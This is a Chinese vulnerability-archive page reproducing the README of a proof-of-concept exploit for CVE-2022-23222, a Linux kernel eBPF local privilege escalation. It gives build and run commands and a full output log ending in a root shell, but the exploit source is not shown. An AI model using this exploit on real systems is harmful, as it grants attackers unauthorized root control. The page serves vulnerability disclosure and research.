目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1310

100%

CVE-2022-23222 PoC — Linux kernel 代码问题漏洞

来源
关联漏洞
标题:Linux kernel 代码问题漏洞 (CVE-2022-23222)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 5.15.14及之前版本存在代码问题漏洞,攻击者可利用该漏洞获得特权。
介绍
# Proof of Concept Exploit Code for CVE-2022-23222
This is a POC for CVE 2022-23222, a Local Privilege Escalation vulnerability.
This POC was written for Ubuntu 20.04 with kernel version 5.13.0-27-generic, but other kernel versions are also vulnerable.
For a detailed analysis of the exploit, please read our [write-up](https://www.pentera.io/blog/the-good-bad-and-compromisable-aspects-of-linux-ebpf/).
## Usage
Make sure `libbpf` is installed as it is a requirement for the exploit.
To compile the POC, run the following command:
```
make
```
To execute the expolit, run the following executable:
```
./exploit
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
#
```
## DISCLAIMER
The code described in this advisory (the “Code”) is provided on an “as is” and
“as available” basis and may contain bugs, errors, and other defects. You are
advised to safeguard important data and to use caution. By using this Code, you
agree that Pentera shall have no liability to you for any claims in
connection with the Code. Pentera disclaims any liability for any direct,
indirect, incidental, punitive, exemplary, special or consequential damages,
even if Pentera or its related parties are advised of the possibility of
such damages. Pentera undertakes no duty to update the Code or this
advisory.
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →